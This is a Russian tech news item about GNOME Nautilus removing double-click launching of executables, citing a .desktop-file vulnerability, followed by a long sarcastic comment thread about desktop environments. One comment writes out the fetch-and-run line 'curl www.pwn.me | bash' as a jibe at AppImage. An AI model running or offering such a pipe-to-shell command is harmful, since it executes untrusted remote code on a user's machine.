В файловый менеджер Nautilus принято изменение (https://gitlab.gnome.org/GNOME/nautilus/commit/3a22ed5b8e3bb...), запрещающее запуск исполняемых файлов и приложений. Двойной клик на пиктограмме приложения теперь не будет приводить к запуску. По мнению разработчиков, после того как в прошлом году из GNOME была убрана (https://www.opennet.me/opennews/art.shtml?num=47860) возможность размещения пиктограмм на рабочем столе, функция запуска программ через Nautilus потеряла смысл, так как она в основном применялась для запуска приложений и desktop-файлов с рабочего стола.Кроме того, GNOME движется в сторону построения системы с приложениями в изолированных контейнерах, для которой требуется использование централизованных механизмов запуска, действующих во всей системе (программы рекомендуется запускать через предоставляемый в GNOME интерфейс запуска приложений).
В качестве причины также упоминается желание избавиться от потенциальных проблем с безопасностью. Например в прошлом году в Nautilus была выявлена уязвимость CVE-2017-14604 (https://security-tracker.debian.org/tracker/CVE-2017-14604), позволяющая используя файлы с расширением .desktop создавать ярлыки, выглядящие как документы, но при клике приводящие к запуску shell-команд.URL: https://www.omgubuntu.co.uk/2018/05/nautilus-remove-ability-...
Новость: https://www.opennet.me/opennews/art.shtml?num=48602
>Новость из 2019 года:"Из файлового менеджера GNOME будет удалена возможность просмотра файлов."
Ну а мало ли. Вдруг там троян, эксплуатирующий уязвимость. Безопасность должна быть превыше всего!
А ремотный рут у редхата в DHCP нашли в знак протеста, чтобы показать что файловый менеджер для выполнения чего попало в общем то и не требуется? :)
Но сначала они его на Electron перепишут
>Новость из 2020 года:Из GNOME удален файловый менеджер.
>Новость из 2021 года:
GNOME удален.
> GNOME удален.Скорее бы уже. Вместе с GTK.
Бог с ним с GTK конкуренция тулкитов это не плохо. Вот то что гном тащат в RHEL Ubuntu и прочие дистры, очень часто забивая на все остальные DE - вот корень зла... Имхо слишком много народу трудиться над DE с весьма спорным вектором развития. А тем временем у KDE не хватает ресурсов на EGLstreams в kwin. (главная беда для владельцев NVIDIA для тех кто хочет в wayland)
выход очевидный, перестать быть владельцем nvidia
> Имхо слишком много народу трудиться над DE с весьма спорным вектором развития.Ну так пойди потрудись над KDE вместо того чтоб тут стонать.
Вроде бы EGLStreams там нет не потому, что у KDE не хватает ресурсов, а потому, что они принципиально не хотят это делать. И вообще принципиально не хотят, чтобы это делал кто-либо кроме Nvidia, которая этот EGLStreams и сочинила.
>2021Зачем GNOME, когда есть STALKER 2
Если речь про thumbnails, то это правильный тренд. Может когда-нибудь до придурков дойдёт, что не стоило воровать из винды метод равномерного разбрасывания багов по свистоперделкам. Недавние уязвимости с HTML и S/MIME как раз из этой же серии.
+
>"Из файлового менеджера GNOME будет удалена возможность просмотра файлов."Я думаю, самй файловый менеджер уберут еще раньше.. :)
Я на всякий случай проверил, не первое ли сегодня апреля
Можно было сделать как опцию
слишко кдешно
А почему бы им сразу не запретить читать файлы? Почему такие полумеры?
Но Вы же тоже сторонник полумер - авторам Gnome надо запретить всем запускать Gnome. :)
"Горшочек, не вари!"
> "Горшочек, не вари!"скажи, а какие исполняемые файлы ты запускаешь двойным кликом? Не, мне реально интересно. Это который друг принес на флешке? Или который ты скачал из depositfiles?
Скрипты?
Этого мало. Гном должен воспитывать пользователя. Предлагаю вот что: если пользователь упорствует и всё равно запускает исполняемый файл, Гном удаляет случайный файл в домашнем каталоге.
>Гном удаляет пользователя из системыFixed. Не благодари.
Да зачем сразу удалять? Логаут на полчаса. А будет упорствовать - на 2 часа. И так прогрессивная шкала, до пары лет.
Gnome будет банить пользователя?! :)))
а к особо упорствующим будет ваезжать Gnomekommando и ломать пальны на руках!
> а к особо упорствующим будет ваезжать Gnomekommando и ломать пальны на руках!Если гномкомандо, то не пальцы, не ломать и не на руках. А в.
Да неее, они будут предлагать поработать на них, а руки это формальное собеседование)
> Этого мало. Гном должен воспитывать пользователя. Предлагаю вот что: если пользователь
> упорствует и всё равно запускает исполняемый файл, Гном удаляет случайный файл
> в домашнем каталоге.А если и это пользователя не остановит, то включается счетчик, и если он дойдет до 0, то через sudo удаляется таблица разделов.
> Этого мало. Гном должен воспитывать пользователя. Предлагаю вот что: если пользователь
> упорствует и всё равно запускает исполняемый файл, Гном удаляет случайный файл
> в домашнем каталоге.Зачем изобретать велосипед. В настольном пособии для гномов "Чудесное путешествие Нильса с дикими гусями" описывается, как ставить на путь исправления и сотрудничества с администрацией.
При всех моих симпатиях к GNOME и GTK:
"Ребята, вы еб...эмм...слегка не в себе"
Из Ubuntu был удален Gnome
Ага, из Canonical был удалён Ubuntu
Отличное решение. Несколько необычное, но весьма самобытное. Всецело поддерживаю.
P.S. Пользователь МАТЕ.
Сначала новость чуток удивила =) А потом начал вспоминать.. Я не запускал программы через Dolphin(файловый менеджер kde). Даже случайно или по пьяни.
Ну а я вот запускаю из Дельфина, есть скрипты которые подымают виртуалку QEMU.
Лично мне так удобно и я полностью доволен даной возможностью.А удалять функционал потому что какой то му%ак решил переучить пользователя считаю совершенно идиотской инициативой.
> А удалять функционал потому что какой то му%ак решил переучить пользователя считаю
> совершенно идиотской инициативой.Тем более, что есть noexec.
> Ну а я вот запускаю из ДельфинаИ продолжай запускать. Какое тебе дело до Наутилуса если ты им не пользуешься? И какое дело разрабам и дизайнерам Наутилуса до пользователей Дельфина?
Сначала разработчики гнома выкинули gksu. Потом разработчики выкинули kdesudo. Повторяют как обезьяны. Вот это-то страшно.
А, да вы просто не разработчик.
Хм... А зачем разработчику возможность запускать исполняемые файлы через файловый менагер? Я, как разработчик запускаю исполняемые файлы либо из emacs'а (C-M-! или M-x gdb), либо из командной строки. Из файлового менагера неудобно, потому что подчастую надо передавать какие-нибудь параметры командной строки, прокидывать что-нибудь через переменные окружения, запускать не напрямую, а под каким-нибудь инструментом -- gdb, strace, valgrind, ... И это кстати одна из простейших ситуаций, когда в результате программирования создаётся исполняемый файл, задуманный как приложение для моей системы, когда он не собран каким-нибудь-там avr-gcc, когда он именно приложение для моей системы, а не веб-приложение и не android-приложение. Короче, файловый менагер разработчику поможет как костыль в заднем проходе.
Сначала они это сделали неудобным, а теперь и вовсе удалили…Разработчикам, конечно, можно простить определённый уровень творческого мышления, но здесь уже просто солипсизм какой-то. Да и как можно назвать разработчиками людей, которые удалять научились, а писать что-то своё — нет? Похоже, что у GNOME больше нет разработчиков. Только команда спонсируемых RedHat фрилансеров, которым поставили задачу похоронить некогда самое популярное DE, но сделать это плавно и малозаметно, чтобы сообщество чего-доброго не форкнуло.
> Похоже,
> что у GNOME больше нет разработчиков. Только команда спонсируемых RedHat фрилансеров,
> которым поставили задачу похоронить некогда самое популярное DE, но сделать это
> плавно и малозаметно, чтобы сообщество чего-доброго не форкнуло.Это что-то из теории заговора, но мне кажется, что существует сговор корпораций, таких как Майкрософт и Эпл (может они и в правду дочки IBM ? ), а линукс был придуман IBM как альтернатива, чтобы Майкрософт и Эпл избежали в обвинение в монополизации рынка. Был придуман харизматичный лидер, люди в него поверили, пошли за ним, эдакая управляемая революция, и каждый, кто начинал считать, что Майкрософт и Эпл охамели - устремлял свой взгляд на линукс.
Линукс давно бы мог нанести свой виндовс-капец, если бы не ТЕ МЕЛКИЕ ОГРЕХИ И БАГИ ИЗ-ЗА КОТОРЫХ ПРОСТОЙ ПОЛЬЗОВАТЕЛЬ НЕ МОЖЕТ РАБОТАТЬ В СИСТЕМЕ, которые рандомно проявляются не у всех и не всегда, по этому условно можно сказать, что их нет, но тем не менее - они есть.
Сейчас идет плавное и незаметное убийство линукса на десктопах, через вот такие вот инновации и "правильные решения".
Виндовс же идет навстречу юникс-пользователям, давая им WSL, типа хотите командную строку ? - а пожалуйста, хотите КДЕ, вместо стандартного окружения ? - это стопудов будет, хотите ту прогу, что была в линуксе, но нет в винде ? - и это будет.
И все, линукс на десктопах будет не нужен, все что нужно было от линукса на десктопе - будет в винде.
Или людям ПРЯМ НУЖНА концепция разделяемых библиотек, отсутствие реестра, но наличие /etc ?
Невозможность поставить программу в отдельный каталог, или несколько версий программ в разных каталогах ?
Невозможность установки некторого софта, потому что его в данном дистрибутиве просто нет ? :)
Или они не могут жить без системД и пульсАудио ?
Или людям нужно, чтобы игры ААА-класса не рабтали, или работали на их карточка за тысячу баксов ?
https://developer.gnome.org/
консоль же есть!
Пока есть. Вы думаете её сложно запретить?
Так ведь не гномом единым ;)
Попробуйте запретить мне в гентушечке.
>А потом начал вспоминать.. Я не запускал программы через DolphinМеня тоже, а потом я вспомнил, что и файлового менеджера Гномовского я не запускал уже много лет.
Вот если они из Gedit вырежут возможность открывать файлы на редактирование, придется ограничится Вимом. :)
> Сначала новость чуток удивила =) А потом начал вспоминать.. Я не запускал
> программы через Dolphin(файловый менеджер kde). Даже случайно или по пьяни.Одно слово: appimage.
а чем это лучше `curl www.pwn.me | bash` ?
Интересно, что будет следующим шагом?- запрет на удаление файлов?
- запрет на изменение атрибутов?
...
Уберут возможность запускать приложения, написанные не гноморазработчиками
Так уже в процессе же. Там же русским по фону написано, что запуск только спец пакетов будет доступен.
вырезали иконки на раб столе, вырезали трей, а теперь это..
И отлично. Иконки на раб столе, вырезали трей - атавизмы Windows 95.
Всецело поддерживаю! А следующим шагом непременно следует отморозить уши.
Уши - это мелко.Надо сразу х?р.
Хотелось бы услышать мнение Гитлера по этому поводу
Бешеный принтер. Вперде!Теаерь будем писать скрипты *.sh, которые, в свою очередь, будут запускать программы.
кажется, .sh тоже попадает под понятие исполняемого файла. не?
[u]Кажется[/u] и .desktop это исполняемый файл.
Вполне может быть. Достаточно посмотреть как у Tor Browser Bundle сделано.
что Вы, это светлоокие эльфы западного валишляпа, как можно!
</>
Сказал человек, работающий исключительно на придуманном на западе компьютере, в написанной на западе ОС...
На войне захваченный корабль считается трофейным, главное флаг поменять.
По аналогии, они считают заграничную ОС отечественной, после смены обоев.
> На войне захваченный корабль считается трофейным, главное флаг поменять.
> По аналогии, они считают заграничную ОС отечественной, после смены обоев.Аноним не может в иронию... Хм, гм, хм...
Война уже кончилась, вылезайте из землянки!
> Сказал человек, работающий исключительно на придуманном на западе компьютере, в написанной на западе ОС...... использующий западные технологии электросвязи для отправки электронных сообщений ...
Шигорин, патриотически озабоченный ты наш, тебе не надоело политику в технику тащить? А то есть такое психическое расстройство, знаешь ли, мономания называется...
> Шигорин, патриотически озабоченный ты наш, тебе не надоело политику в технику тащить?Мы же политотой не занимаемся следовательно политота к нам приедет. (Увы, но правило политической сферы жизни будет работать всегда.)
Проблема не в патриоте Шигорине и не в том что политика импортозапрещения, а в том что народ не умеет говорить слово нет к политике которая может им навредить.
Не зря я всю дорогу люблю KDE.
Разработчики kde могут повторить…
Уже завели issue, чтобы вернуть всё взад: https://gitlab.gnome.org/GNOME/nautilus/issues/437
работа кипит! вырезали фичу, ревертнули вырезание. потом опять что-нибудь вырежут, и опять ревертнут. коммит за коммитом, бешеная активность!
Кстати, probonopd, по-моему, один из основных разработчиков AppImage.
probonopd - автор AppImage формата. В твиттере там просто "жара" насчёт этих "улучшений" GNOME - http://twitter.com/probonopd
Это п-ц, товарищи. У меня давно бродит мысль, что эта индустрия движется не туда. И я постоянно получаю подтверждения. А как хорошо всё начиналось.
>Это п-цЭто г-м. Причём №3. В остальных уголках "индустрии" всё в рамках разумного.
>>Это п-ц
> Это г-м. Причём №3. В остальных уголках "индустрии" всё в рамках разумного.Угу. Electron'ный разум торжествует прямо-таки.
Xfce в помощь. Там таких приколов нет, и вряд ли когда будет.
P. S.: Не зря ж ходит байка, что Линус называл гном окружением для идиотов.
Там нет возможности запуска скриптов прямо из Thunar-а
Есть - https://bbs.archlinux.org/viewtopic.php?id=194464
Туда-туда. Индустрия хочет контролировать пользователя. Вот этот простой факт и следует всегда помнить, пытаясь объяснить те или иные тренды в индустрии.
> Туда-туда. Индустрия хочет контролировать пользователя. Вот этот простой факт и следует
> всегда помнить, пытаясь объяснить те или иные тренды в индустрии.Контролировать пользователя при открытости софта всё-равно что дать РКН что-то блокировать.
Ха! Мозг пользователя никаким открытым софтом не перепрошьёшь.
>В качестве причины также упоминается желание избавиться от потенциальных проблем > с безопасностью. Например в прошлом году в Nautilus была выявлена уязвимость >CVE-2017-14604, позволяющая используя файлы с расширением .desktop создавать >ярлыки, выглядящие как документы, но при клике приводящие к запуску shell-команд.Болит голова, отрежь ее. А вообще dеbилы, да. Что не новость от гнома, то "выпилили это", а в новом релизе "выпили это и это".
Создайте систему, которой сможет пользоваться дурак, и только дурак захочет ею пользоваться. — Принцип Шоу.
вы так переживаете, как будто пользователи реально существующих планшетов и мобил будут запускать программы из файлового менеджера, а не из лаунчера или меню.
> пользователи реально существующих планшетов и мобил будут запускать программы из файлового менеджераhttps://gitlab.gnome.org/GNOME/nautilus/issues/437#note_117659
в треде уже предлагали убрать ненужную возможность запускать скачанные программы, скрипты и прочую ересь.
пользователям нинужна!
Очевидно же! Пользователь реально существующих мобил и планшетов для установки совта пользуется официальным магазином совта. Аппле сторе, гугле плей, гноме-штототам и тому подобными сервисами.
Следующим шагом надо запретить установку deb/rpm/apk из файлового менеджера. А то ведь пользователь поставит, а оно еще само в автозапуск пропишется!
> Следующим шагом надо запретить установку deb/rpm/apk из файлового менеджера и оставить только установку снапов и флатпаков из гноме стора, дабы окончательно обезопасить пользователя. (ой, у нас же новость об убунтосторе с майнерами, ну давайте закроем на неё глаза)
Apk это контейнер.
Всё правильно. У пользователей реально существующих планшетов и мобил никогда не должно быть проблем только с просмотром рекламы и способами заплатить.
избавляться от потенциально опасного функционала проще, чем признать, что написание такого ответственного кода слишком сложно для них. Нет забора - нет дыры в нем. Поэтому остаеться убедить в том, что может забор и не нужен нам, без него проще?
https://bugzilla.gnome.org/
Из файлового менеджера GNOME будет удален файловый менеджер GNOMEПечально. "Кроме того, GNOME движется в сторону построения системы с приложениями в изолированных контейнерах, для которой требуется использование централизованных механизмов запуска, действующих во всей системе (программы рекомендуется запускать через предоставляемый в GNOME интерфейс запуска приложений)."
Превращают ось в аналог мобильника, где внутренности живут своей, особой жизнью, штатно нельзя даже файловую систему увидеть, кроме выделенного для пользователя закуточка и все происходит "волшебным образом, само".
Наконец-то!
Теперь я понял, что ты на самом деле не такой, как пишешь. 100% за GTK это палево.
Убунте опять придется оставаться на старом Наутилусе
а вот и подтянулись любители позапускать двойным кликом фото_голой_семенович.exeне могу вспомнить, когда в последний раз запускал исполняемые файлы именно двойным кликом. Видимо, когда сидел в детстве на win98. Если уж случалось скачать из интернета исполняемый файл бесплатно без смс без регистрации, то запускать его приходилось из коммандной строки, поскольку с первого раза он имел привычку не запускаться в виду отсутствия очередного libQt.3.1.5.so, а не поглядев на stderr об этом не узнать.
но любители вендо-решений, где люди круглые сутки делают двойные клики по экзешникам, могут свалить в кде. Или сразу обновиться до десяточки
> могут свалить в кде.Помнится, в Dolphin-е при двойном (или если настроено - одинарном) клике на скрипте и подобном, по дефолту вылезает диалог с вариантами вида Просмотреть\Запустить\Отмена. Так что не надо на кеды гнать.
> а вот и подтянулись любители позапускать двойным кликом фото_голой_семенович.exe
> не могу вспомнить, когда в последний раз запускал исполняемые файлы именно двойным
> кликом. Видимо, когда сидел в детстве на win98. Если уж случалось
> скачать из интернета исполняемый файл бесплатно без смс без регистрации, то
> запускать его приходилось из коммандной строки, поскольку с первого раза он
> имел привычку не запускаться в виду отсутствия очередного libQt.3.1.5.so, а не
> поглядев на stderr об этом не узнать.
> но любители вендо-решений, где люди круглые сутки делают двойные клики по экзешникам,
> могут свалить в кде. Или сразу обновиться до десяточкиЕдинственный адекватный комментарий в этой бороде.
> не могу вспомнить, когда в последний раз запускал исполняемые файлы именно двойным
> кликом. Видимо, когда сидел в детстве на win98. Если уж случалось
> скачать из интернета исполняемый файл бесплатно без смс без регистрации, то
> запускать его приходилось из коммандной строки, поскольку с первого раза он
> имел привычку не запускаться в виду отсутствия очередного libQt.3.1.5.so, а не
> поглядев на stderr об этом не узнать.Если бы вы чуть меньше сидели в детстве на вин98, то, возможно, знали бы про файл .xsession-errors.
> но любители вендо-решений, где люди круглые сутки делают двойные клики по экзешникам,
> могут свалить в кде. Или сразу обновиться до десяточкиЭкзешники можно ЗАПУСКАТЬ. Это является потенциальной угрозой безопасности. Экзешники надо запретить.
> Экзешники можно ЗАПУСКАТЬ. Это является потенциальной угрозой безопасности. Экзешники
> надо запретить.А***с себе запрети.
Закон По в действии: всегда найдётся кто-то, кто примет сарказм за чистую монету.
> а вот и подтянулись любители позапускать двойным кликом фото_голой_семенович.exe
> не могу вспомнить, когда в последний раз запускал исполняемые файлы именно двойным
> кликом. Видимо, когда сидел в детстве на win98. Если уж случалось
> скачать из интернета исполняемый файл бесплатно без смс без регистрации, то
> запускать его приходилось из коммандной строки, поскольку с первого раза он
> имел привычку не запускаться в виду отсутствия очередного libQt.3.1.5.so, а не
> поглядев на stderr об этом не узнать.
> но любители вендо-решений, где люди круглые сутки делают двойные клики по экзешникам,
> могут свалить в кде. Или сразу обновиться до десяточкиНу например игры скачанные из GOG.com или Humble Bundle? В первом случае нужно запустить инсталлятор, а во втором - архив с игрой внутри, без какой либо интеграции в систему - обычное дело.
Ранее 3й гном ещё не было смысла форкать, а теперь уже нет смысла...
Конечно интересное решение, но, нужно двигаться дальше! Удалить управление мышой вообще и оконный интерфейс в частности...
Разумеется, ведь у планшетов и мабил есть тачскрин.
Правильное решение.Что явно не завернуто в desktop файл, то запускать потенциально опасно.
Запускать консольные программы таким образом, вообще нету смысла.
В большинстве случаев приложения поставляются из реп, где desktop файлы уже есть. Ну а там где их нет, то можно создать их за 2 минуты.
> Ну а там где их нет, то можно создать их за 2 минуты.Добавлю только, что для их запуска не нужно открывать nautilus.
Достаточно нажать Super+A и запустить нужное приложение.
Можно даже по категориям разбросать их для удобства.
А desktop-файлы оставят возможность запускать? А то у пользователей Appimage вопрос...
$ cp app.desktop /home/<user>/.local/share/applications/
$ update-desktop-database /home/<user>/.local/share/applications/Ну дальше смотрим в app view gnome-shell'а.
> $ cp app.desktop /home/<user>/.local/share/applications/
> $ update-desktop-database /home/<user>/.local/share/applications/
> Ну дальше смотрим в app view gnome-shell'а.А может я в него просто мышкой даблкликну?
Каким образом desktop-файл защищает от заразы в программе?
> Каким образом desktop-файл защищает от заразы в программе?ну поставьте себе эвристический анализ
Или KDE.
> Каким образом desktop-файл защищает от заразы в программе?Туркменские вирусописатели не смогут осилить спецификацию.
Юзер в безопасности!
Отлично. Из KDE бы её тоже удалить. В жизни все программы запускаются либо через меню/панель, либо в терминале. Даже не могу вспомнить когда в последний раз реально запускал что-то через файл-менеджер не по ошибке. В последний раз, когда что-то так запустил (случайно, рука дрогнула) - удалилось всё в ~/
>В жизни все программы запускаются либо через меню/панель, либо в терминале.Какая скучная у тебя жизнь, однако..
вот именно. То ли дело скачивать в ~/Desktop файл `фото_голой_семенович.bin` и запускать его двойным кликом. Вот это я называю жизнь.
Что, на Семенович молишься? Аж два коммента про неё запилил.
> Что, на Семенович молишься? Аж два коммента про неё запилил.Мои два коммента не сравнятся с гигантской стенкой комментов орды возмущенных вантузоидов, которых лишили их любимого занятия запускать двойным кликом свежескаченные из всяких turbobit/letitbit/rapidshare экзешники, сохраненные прямиком на рабочий стол, да еще и в обход родного пакетного менеджера, который делает эти двойные клики по бинарям (как и сам факт их скачивания из megaupload/depositfiles) страшным сном из 90-ых.
Пользователям Windows это не надо — оно под Windows не работает. А возмущения людей основаны на том, что отсутствует обычный для файлового менеджера функционал. А то что лично ты напоролся на вирус, пытаясь посмотреть Семенович в неглиже — это твоя личная попaболь.
> вот именно. То ли дело скачивать в ~/Desktop файл `фото_голой_семенович.bin` и запускать
> его двойным кликом. Вот это я называю жизнь.noexec поставить и не полоскать мозги. С другой стороны, если настолько увлечены Семенович, то может и в консоль полезете, скопируете если надо куда, да запустите... тут только подружка/жена помочь может.
> тут только подружка/жена помочь может.помочь запускать секрет_пассивного_дохода_без_вложений.exe ?
А Вам лично, собственно, какая разница, кто и что запускает с десктопа? Хоть фотографию голой Семенович, хоть котиков, или даже Кончиты Вюрст.
> случайно, рука дрогнула ... фото_голой_семенович.bin ... Вот это я называю жизнь.Как ты вообще до опеннета добрался?
> (случайно, рука дрогнула) -Твои проблемы.
Потому что ты не жил ещё. У меня есть портативные линуксовые игры скачанные с официального сайта. Других форм распространения их нет. И мне лень делать файл desktop или добавлять в главное меню.
Как вариант - переключать систему из состояния в состояние посредством systemd:systemctl isolate write-document-in-openoffice
systemctl isolate develop-C++
systemctl isolate watch-moviesи т.д. Никто же будет одновременно смотреть кино, программировать и чето там писать в офисе. И тогда никакой угрозы безопасности пользователям Гнома не будет, будет запускаться чётко только то, что пользователю нужно для выполнения конкретной работы.
Кто-нибудь, остановите этих неадекватов.Это же уже даже не смешно!
> Кто-нибудь, остановите этих неадекватов.Это же уже даже не смешно!Зачем вам этот гном, который использовать без овер9000 дополнений невозможно? Не проще ли на какой-нибудь Mate\Cinnamon перейти? (сам не пользуюсь, у меня вообще openbox с самого начала)
Я на крыске со времён явления миру гномошела.Но такой маразм равнодушным оставить не может.
Mate/cinnamon неплохи при работе с одним монитором, при использовании 2 или более моников работа в данных DE превращается в лютый ад (приложения постоянно запускаются не на главном мониторе, а хрен пойми где, и если на гноме всё легко переносится между рабочими местами, то в других DE это делается не так просто).
Почему же? Очень даже смешно, до слез.
Смешно было первых надцать раз.Теперь их закидоны просто вгоняют в ступор.
Не смешно, они там совсем с мозги потеряли ?
> Не смешно, они там совсем с мозги потеряли ?У них оболочка упала на 1.5 месяца, это запаздалая первоапрельская шутка.
Что-то не заметил энтузиазма гомо-разрабов по созданию удобных механизмов для добавления программ в меню и панель, назначению ассоциаций типам файлов и созданию desktop-файлов. И вот это главный звиздец в контексте новости.
Вообще странно понимать тут "общественное" мнение.
То вопят про то какая венда плохая.
А как убирают возможность запускать приложения в два клика откуда попало, так опять сразу вопят.Какое-то противоречие.
Может ты ещё считаешь что Ubuntu == весь GNU/Linux? Или GNOME единственная оболочка?
У тебя с логикой проблемы, аноним.Убирание возможности запуска исполняемого файла кликом в фм - это "антивендовый путь", если чо. Только .desktop файлы, поставляемые в пакетах дистрибутива.
> А как убирают возможность запускать приложения в два клика откуда попало, так опять сразу вопят.С логикой проблемы в этом сообщении. Из него можно сделать вывод что убрали во всех миллоне FM для линуса, а гном единственная оболочка и жизни без неё нет.
> Убирание возможности запуска исполняемого файла кликом в фм - это "антивендовый путь", если чо.
Так считают разработчики одной никому ненужной оболочки? Тогда всё нормально. Форк и все проблемы решены. Не вижу проблемы.
Нормальные люди пользуются *nix из-за их прозрачности,логичности,простоты и надёжности.
Адепты свободки же только из-за того,что это "антивендовый путь".
Если вантузоиды тобой недовольны, значит ты всё делаешь правильно.
>В качестве причины также упоминается желание избавиться от потенциальных проблем с безопасностью"ради безопасности и большей стабильности Республика будет реорганизована!"
нет, серьезно, вот ведь лицемерные SJW. Льют кучу воды в багтрекере о том, как им важно мнение сообщества и т.п., а на деле они нифига никого не слушают и последовательно превращают десктоп в - хотел написать "в винду", но даже в винде пока не докатились до такого уровня маразма.
> а на деле
> они нифига никого не слушают и последовательно превращают десктоп в -
> хотел написать "в винду", но даже в винде пока не докатились
> до такого уровня маразма.да вы поехавшие, со своей виндой. Где тут винда? В винде даже в диалогах открытия-сохранения файлов возможно их копирование\вырезание, переименование и вообще нормальное контекстное меню. И ярлыки приложений можно куда угодно поместить. И запустить кликом что захочешь. И значок на приложение поменять, и переименовать это приложение в меню и на панели.
Только совершенно упертые и слепые приверженцы непонятно какого лагеря могут проводить параллели Gnome - Windows .
"И ярлыки приложений можно куда угодно поместить. И запустить кликом что захочешь. И значок на приложение поменять, и переименовать это приложение в меню и на панели."Со скриптом обозванным .desktop можно сделать всё тоже самое.С той разницей,что в зависимости от рабочего окружения,это необходимо будет делать либо мышкой,либо только руками.
> Только совершенно упертые и слепые приверженцы непонятно какого лагеря могут проводить
> параллели Gnome - Windows .Опять гном пуп линукса? Задолбали вы, товарищи! Возвращайтесь в свою венду и разработчиков гнома с собой заберите.
И как теперь несуществующему сферическому юзеру линукса ставить дрова и прочие приложения? В консоль чтоль лезть? Нет чтобы выводить диалог что запустить как заупустить и т д?
И правильно, нефиг. Одни проблемы были с установкой всяких дров по клику. Ставить надо сразу из консоли, что бы выхлоп было видно.Даже устновка из пакетов кликом по ним сопряжена с трудностями. Ведь надо делать `dnf install ./cool_driver.rpm` а не
вот и правильно
мышекликание не тру
запускать надо из терминала
Ну так и раньше было, .desktop либо из меню приложений, либо из терминала, включая скрипты.
Я понимаю, если выпилили бы запуск скриптов и бинарников из терминала гнома или через Alt-F2, то было бы неадекватно. А ведь есть ещё люди, которые наутилус/немо запускают с root-правами.
А терминал откуда запускать?
меню приложений не судьба открыть?
Сначала открыть терминал, в нём набрать имя экзешника (предварительно вспомнив его). Занимательно, чо. Особенно на мобильном устройстве, когда ты, например, едешь в переполненном транспорте, одной рукой держась за поручень. В один клик с десктопа скучно же запускать!
Зачем из терминала запускать .desktop-приложение? Есть же меню приложений, лаунчер.
Вот в терминале скрипты, бинарники под правами - да. Что тут передергивать то, глупо же.
> А терминал откуда запускать?В том же Nemo - F4, как и в любом FM.
Если большинство против - значит они делают все правильно. Нынешнее большинство в Линуксе это люди очень далекие от понимания безопасности.
Чего ж тогда подобная xрень не приходит в голову разработчикам mc? А, ведь, mc пользуются люди отнюдь не далёкие от безопасности.
> Нынешнее большинство в Линуксе это люди очень далекие от понимания безопасности.А ты можешь писать только бесполезные комментарии вместо того, чтобы научить большинство как надо делать? Ничего сложного в этом нет, всего-лишь надо научить большинство внимательности.
Это заговор против Appimage!
Даже глючный windows 98 (не SE) был юзабельнее и надежнее, вернее проводник в нем.
Ух, прям парад петросянов.
Перефразируя умного человека:
Какое DE лучший? Мой! Всмысле моими руками правленный и излишней херней поэтому не страдающий.
Дефолтные настройки никогда не подойдут всем - поэтому все равно правка будет необходима.
Поэтому и используют линукс на десктопе только те, у кого голова оборудованна мозгом. А остальным он нафиг не сдался. Вот только тем кому сдался - DE зачастую нафиг не нужно.
> Перефразируя умного человека:
> Какое DE лучший? Мой! Всмысле моими руками правленный и излишней херней поэтому
> не страдающий.
> Дефолтные настройки никогда не подойдут всем - поэтому все равно правка будет
> необходима.
> Поэтому и используют линукс на десктопе только те, у кого голова оборудованна
> мозгом. А остальным он нафиг не сдался. Вот только тем кому
> сдался - DE зачастую нафиг не нужно.как и менеджер файлов
> как и менеджер файловСлишком толсто.
Ещё один шаг в сторону ios? Давно не секрет, что интерфейс GNOME3 прежде всего для мобильников, а если кто-то пытается использовать его на чём-то другом, то это его проблема.
>Давно не секрет, что интерфейс GNOME3 прежде всего для мобильниковА можно посмотреть на хотя бы один мобильник с гномом?
>А можно посмотреть на хотя бы один мобильник с гномом?Просто его разработчики не теряют надежду, что однажды это случится, и продолжают жрать кактус^W^W пилить мобильный интерфейс.
>Давно не секрет, что интерфейс GNOME3 прежде всего для мобильниковДело за малым : осталось найти те мобильники,которые не только поддержут эту самую установку,но и переварят толстый,жирный гном3,который тормозит даже на десктопах.
Какие мобильники. Он даже не умеет автоматически поворачивать экран…
ну и нафейхуа он тогда нужен?Вообще, должно быть настраиваемо, имхо - по умолчанию спрашивать, что делать с исполняемым файлом по двойному клику,но иметь возможность в настройках задать дефолтное поведение. Вроде так и было, если не ошибаюсь?
Здорово, парни сделали еще один серьезный шаг к осознанию, что все эти их DE в принципе не нужны, а нормальному человеку хватит и текстовой консоли (голую_анну_семенович можно и в ASCII-графике посмотреть - хорошо развивает воображение).
Ждём новость: "Из GNOME будет удалена возможность запуска исполняемых файлов".
> Ждём новость: "Из GNOME будет удалена возможность запуска исполняемых файлов".А вы можете вспомнить что вы часто запускаете в наутилусе?
И в Xfce Thunar такого нет.
>И в Xfce Thunar такого нетНаркоман,что ли?
> И в Xfce Thunar такого нет.
Там тоже об этом позаботились.
Я поставил thunar без всего Xfce, вернуть можно, но в мейнтейнеровской поставке такого нет.
Что им мешало решить эту проблему так, как это сделали в KDE - при попытке запуска приложения показывать всплывающее окно с предупреждением?
Удалять - не добавлять.На самом деле отличная новость, чем больше абсурда - тем быстрее умрет г*ном и зоопарк уменьшится.
> зоопаркВот именно из-за таких действий и появился зоопарк. Хотя, имхо, ничего плохого в зоопарке нет. Вон в венде зоопарк тулкитов - все пишут кто во что горазд, нет единого стиля.
Нет в винде никакого зоопарка тулкитов, там то как раз есть winapi с отличной обратной совместимостью. Это в линуксе старый пакет хрен запустишь.
> с отличной обратной совместимостью.Такой отличной что старые игры падают на ровном месте или выдают артефакты или тормозят или вообще падают. Отличная совместимость!
> Это в линуксе старый пакет хрен запустишь.
Нехрен проприетарщиной пользоваться. Скомпилировать - дело нескольких минут.
>Такой отличной что старые игры падают на ровном месте или выдают артефакты или тормозят или вообще падают. Отличная совместимость!Пфф, на линуксе такое сплошь с новыми играми, а старые вообще не запустятся.
>Нехрен проприетарщиной пользоваться.Ой, что тут у нас, очередное НЕНУЖНО?
>Скомпилировать - дело нескольких минут.Ну давай, скомпилируй то что зависело от чего то, чего давно уже нет - старой либы, hal, еще какой-нибудь фигни. В конце концов окажется, что скомпилировать можно будет разве что в дистре примерно такой же степени тухлости, что и сама софтина.
> Пфф, на линуксе такое сплошь с новыми играми, а старые вообще не
> запустятся.Вынь руки из заднего прохода - у меня всё запускается. ЧЯДНТ? Но действительно, некоторые игры, которые у меня и на венде глючили - глючат и в вайне. Прогресс, однако!
> Ой, что тут у нас, очередное НЕНУЖНО?
Да, представь себе. Я убеждён что весь софт должен контролироваться пользователем.
> Ну давай, скомпилируй то что зависело от чего то, чего давно уже
> нет - старой либы, hal, еще какой-нибудь фигни. В конце концов
> окажется, что скомпилировать можно будет разве что в дистре примерно такой
> же степени тухлости, что и сама софтина.Где ты такое старьё откапываешь? Ни разу не сталкивался со старыми либами.
